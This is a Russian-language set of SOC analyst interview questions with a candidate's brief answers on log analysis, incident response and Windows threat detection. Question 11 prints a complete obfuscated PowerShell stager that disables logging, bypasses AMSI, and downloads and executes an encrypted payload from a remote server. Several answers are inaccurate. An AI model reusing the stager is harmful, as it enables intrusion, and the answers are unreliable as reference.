1)У вас есть журнал безопасности брандмауэра между DMZ и Интернетом. Как вы будете использовать этот журнал для обнаружения угроз?

В ручном режиме анализ логов выявления аномалий или подключение к систем SIEM для автоматизации.

2)Вы являетесь аналитиком SOC и получили предупреждение от системы IDS о внедрении SQL-кода на веб-сервер. Что вы будете делать? Как вы будете исследовать (технические аспекты)?

Проверить логов на подтверждение. Проверить веб-сервер на уязвимости. Определить глубину проникновение злоумышленников (если подтверждена атака ). Изолирование веб-сервера, устранение, запуск. Документирование инцидента.

3)Наиболее частые сценарии компрометации Windows связаны с использованием инструментов дампа хэша паролей. Предложите сценарии обнаружения (чем больше, тем лучше) использования инструментов хеш-дампов. Как можно обнаружить дальнейшее незаконное использование украденных учетных данных?

Наиболее частые сценарии: Использование PowerShell,Mimikatz, соц. Инженерия, уязвимости служб.

Предложите сценарии обнаружения: мониторинг процессов, логов безопасности, проверить аутентификацию пользователей на наличие аномалий.

Многофакторная аутентификацию, мониторинг доступа критический важным процессам, удит безопасности

4)Вы работаете в компании, у которой есть два офиса (Москва и Пермь) и у вас есть логи с VPN-шлюза, прошивки, физической системы контроля доступа. Предложите сценарии обнаружения возможных угроз.

Мониторинг пользователь ( выявление пользователь которые начали пользоваться VPN или заходить в не рабочего время. Выявление необычных IP адресов.

5)Если у вас есть логи антивируса, какие правила корреляции (сценарии обнаружения) вы можете предложить?

Старая версия антивируса, удаление антивирусного ПО, необычные действия после срабатывания антивируса, повторное срабатывания антивируса

6)Вы получили оповещение от корпоративного прокси о том, что одна рабочая станция подключилась к «Вредоносному сайту»:

6.1. Какие немедленные действия вы бы предприняли для сдерживания распространения?

Изолирование рабочей станции, проверка на вредоносное ПО

6.2. В какой системе можно попробовать получить дополнительную информацию?

Антивирусное ПО, непосредственно на рабочей станции и в прокси

6.3. На каком этапе атаки «цепочки уничтожения» находится данный случай?

Installation или Exploitation

7)Из какой системы этот лог и что вы можете о нем сказать?

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-f3f0c6e992b7562598d9865b6fe8b3a6.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-0d597695fbacb291dd5ad6400c808b3c.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-4780918bd4bdb423eff6618b7df90e71.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-36ef628b2e277cc20160d9b7db52b2b7.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-3833a2456f07be6cc414c99060cbf0f2.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-f3f0c6e992b7562598d9865b6fe8b3a6.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-0d597695fbacb291dd5ad6400c808b3c.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-4780918bd4bdb423eff6618b7df90e71.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-36ef628b2e277cc20160d9b7db52b2b7.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-3833a2456f07be6cc414c99060cbf0f2.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-f3f0c6e992b7562598d9865b6fe8b3a6.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-0d597695fbacb291dd5ad6400c808b3c.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-4780918bd4bdb423eff6618b7df90e71.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-36ef628b2e277cc20160d9b7db52b2b7.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-3833a2456f07be6cc414c99060cbf0f2.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-f3f0c6e992b7562598d9865b6fe8b3a6.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-0d597695fbacb291dd5ad6400c808b3c.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-4780918bd4bdb423eff6618b7df90e71.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-36ef628b2e277cc20160d9b7db52b2b7.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-3833a2456f07be6cc414c99060cbf0f2.com

20.06.2019 9:26:24 0F0C PACKET 00000194D3CEDDD0 UDP Snd 10.10.160.208 3d56 R Q [8081 DR NXDOMAIN] PTR mggw-at-f3f0c6e992b7562598d9865b6fe8b3a6.com

Данный лог похож на лог из брандмауэр – windows. Все запросы происходят одновременно с одного ip-адрес и получают ответ NXDOMAIN (домен не доступен). Такое может быть как при не правильной настройки службы , так и при разведке злоумышленника.

8) Что происходит согласно следующим событиям?

Кто-то с повышенными привилегиями(возможно системный администратор) пытается сделать дамп памяти процесса в котором содержится аутентификации Windows.

9) Что означает это сообщение? Это подозрительно? Почему?

Что установлен сервис PSEXEVC. И да, и нет. Сервис работает в пользовательском режиме, запускается не автоматический, но имеет высокий уровень привилегий на локальной машине (если это запустил сотрудник одела безопасности то норм, если же нет то это инцидент)

10) Что можно сказать о логах ниже?

В логе написано что будет скачен фал b.exe и присвоено рандомное имя из численного ряда от 10000-999999 и запущен этот файл. Похоже на установку зловредного ПО и его сокрытие.

11) Что вы можете сказать об этом скрипте?

IF ($PSVersionTAbLE.PSVErsiON.MaJor-ge3) {

$GPF=[REF].AsSemBLY.GETTyPE('System.Management.Automation.Utils')."GETField"('cachedGroupPolicySettings','N'+'onPublic,Static');

If ($GPF) {

$GPC=$GPF.GEtVaLue($NULL);

IF ($GPC['ScriptB'+'lockLogging']) {

$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;

$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0

}

$vAl=[CoLLeCtionS.GENEric.DICtiONARy[striNg,SYstEm.ObjECT]]::nEw();

$Val.ADd('EnableScriptB'+'lockLogging',0);

$VAL.AdD('EnableScriptBlockInvocationLogging',0);

$GPC['HKEY\_LOCAL\_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VAl

} ELSe {

[ScriPtBLocK]."GETFieLd"('signatures','NonPublic,Static').SEtValuE($Null,(New-OBjeCtColLEctIONs.GENERic.HaShSEt[sTrING]))

}

[ReF].AsSembLY.GetTYpE('System.Management.Automation.AmsiUtils')|?{$\_}| %{

$\_.GetFIelD('amsiInitFailed','NonPublic,Static').SeTValUe($NULL,$True)};

};

[SysteM.NEt.SERvICePoInTMANAgeR]::ExPEcT100COntinUe=0;

$WC=New-ObJECtSYstEm.NEt.WEBCLieNT;

$u='Mozilla/5.0(WindowsNT6.1;WOW64;Trident/7.0;rv:11.0)likeGecko';

$wc.HeAdErS.ADD('User-Agent',$u);

$Wc.PRoXY=[SYstem.NEt.WEbRequESt]::DEfAulTWeBProxY;

$wC.ProxY.CRedENTiAls=[SysTEM.NEt.CrEDeNTialCaCHE]::DEFAULtNeTworKCrEdEnTiaLs;

$Script:Proxy=$wc.Proxy;

$K=[SYsTEM.Text.ENcodiNg]::ASCII.GETBYtES('99754106633f94d350db34d548d6091a');

$R={$D,$K=$ArGs;$S=0..255;0..255|%{$J=($J+$S[$\_]+$K[$\_%$K.CoUNt])%256;$S[$\_],$S[$J]=$S[$J],$S[$\_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$\_-bXoR$S[($S[$I]+$S[$H])%256]}};$ser='http://10.6.100.123:80';$t='/news.php';$WC.HeadERS.AdD("Cookie","session=8xD4koAuu7qHah4KQzwZ/kDq4Oc=");$DAtA=$WC.DoWNloaDDAtA($SER+$T);$IV=$DatA[0..3];$datA=$DATa[4..$datA.lengTH];-join[ChAr[]](&$R$daTA($IV+$K))|IEX

Скрипт отключил логирование, внес изменение в рестр и послал внешний HTTP запрос + проверил версию PowerShell

12) Какой идентификатор события имеет изменение реестра? Какой идентификатор события имеет установка службы и сбой службы?

4657 – изменение реестра

7036 – установка и запуск службы

7031-7034- сбой службы

13) Почему файлы с расширением «chm» могут быть опасны?

В файлы с расширением chm моно интегрировать вредоносный скрипт

14) У вас есть журналы DNS-сервера, и вы видите множество запросов AXFR с одного внешнего IP-адреса. Это злонамеренно? Если да, то почему?

AXFR – чаще всего используется для репликации домена. Если Ip – адрес не известен то это злонамеренная попытка получить копию DNS-сервер.

15) Как обнаружить атаку Golden Ticket?

Использовать SIEM

16) Представьте, что злоумышленник взломал ваш контроллер домена. Предложите сценарий исправления данной ситуации.

Изолировать контролер, сбор информации, устранение уязвимости(поиск вирусов), сброс паролей и сертификатов. После проверка на уязвимости.

17) Какая функция PowerShell 5 лучше всего подходит для службы безопасности?

Get-EventLog

18) Вы получили предупреждение от решения EDR и у вас есть только эта информация:

*Process: flashhelperservice.exe*

*PID: 6508*

*OS Type: windows*

*MD5: 59c34bc243eb2604533b5f08d30944f8*

*SHA-256: ef214626923d76e24ae5299dd16c53b15847e91a97d2eea79ce951c6bead9b7c*

Что вы можете сказать об этом случае?

Запустился процесс в Windows с идентификатором процесса 6508. Flash player завершил поддержку данного продукта 2020 г. Изолировать процесс и проверить на вредоносное ПО.

19) В ходе расследования вы увидите такую ​​информацию: 

Что скрыто в этом коде? Это подозрительно?

Код подозрителен так как проверяет входную информацию и отбрасывает при несоответствии.

21) Вы увидели предупреждение от решения EDR и имеете следующую информацию:

c:\windows\system32\services.exe запускается explorer.exe, это нормально? Если это не так, то в чем может быть причина?

Нет explorer.exe запускается обычно пользователям или системой. Вредоносное ПО маскирующиеся под легитимный процесс или инъекция кода ПО

22) Вы установили приложение на свой компьютер и оно не может подключиться к Интернету. Антивирусные предупреждения отсутствуют, и вы можете пользоваться Интернетом. Какова наиболее вероятная причина проблемы?

Один из вариантов файрвол не явно блокирует доступ в интернет приложению и не выводит оповещений безопасности.

23. Что вы можете сказать об этом URL?

“www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com”?

Такое ощущение что доменное имя случайно сгинеренно если это доменное имя вы видите в письме лучше проявить осторожность и удалить письмо. Также можно проверить зарегистрировано доменное имя или нет.

24. Что вы можете сказать об этом отчете о сканировании nmap? Есть ли в этом отчете какие-либо проблемы безопасности?

По HTTP виден Apache сервер и фреймворки работающий с ним